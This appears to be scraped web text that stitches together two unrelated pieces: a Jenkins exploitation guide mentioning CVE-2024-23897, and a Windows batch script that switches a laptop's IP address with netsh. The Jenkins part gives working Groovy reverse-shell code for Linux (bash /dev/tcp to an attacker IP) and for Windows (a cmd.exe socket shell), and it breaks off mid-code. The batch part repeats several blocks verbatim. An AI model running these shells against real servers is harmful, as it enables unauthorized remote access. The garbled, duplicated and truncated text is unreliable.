Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
A network engineer often changes the IP of their laptop multiple times during an activity. Typing the IP each time from the network adapter setting is a boring task. Use the following batch script to easily change the IP address. Copy the script in a text editor, edit the details as per your need, save as <name>.bat format. Run it.
<------------------------------------------------------------------------------------------------->
Below section is to put administrative privilege to the bat file.
However this is optional
<------------------------------------------------------------------------------------------------->
@echo off
if _%1_==_payload_ goto :payload
:getadmin
echo %~nx0: elevating self
set vbs=%temp%\getadmin.vbs
echo Set UAC = CreateObject^("Shell.Application"^) >> "%vbs%"
echo UAC.ShellExecute "%~s0", "payload %~sdp0 %*", "", "runas", 1 >> "%vbs%"
"%temp%\getadmin.vbs"
del "%temp%\getadmin.vbs"
goto :eof
if _%1_==_payload_ goto :payload
:getadmin
echo %~nx0: elevating self
set vbs=%temp%\getadmin.vbs
echo Set UAC = CreateObject^("Shell.Application"^) >> "%vbs%"
echo UAC.ShellExecute "%~s0", "payload %~sdp0 %*", "", "runas", 1 >> "%vbs%"
"%temp%\getadmin.vbs"
del "%temp%\getadmin.vbs"
goto :eof
<------------------------------------------------------------------------------------------------->
Below is the code and you have to edit as per your need. You get the name details from the network connections page or from CMD.<------------------------------------------------------------------------------------------------->
:payload
@echo off
netsh interface IPv4 set Address name="Ethernet" static 192.168.0.10 255.255.255.0 192.168.0.1
@echo off
netsh interface IPv4 set dns name="Ethernet" static 8.8.8.8
<------------------------------------------------------------------------------------------------->
Finally if you want to revert to DHCP<------------------------------------------------------------------------------------------------->
@echo off
netsh interface IPv4 set address name="Ethernet" source=dhcp
@echo off
netsh interface IPv4 set dns name="Ethernet" source=dhcp
netsh interface IPv4 set address name="Ethernet" source=dhcp
@echo off
netsh interface IPv4 set dns name="Ethernet" source=dhcp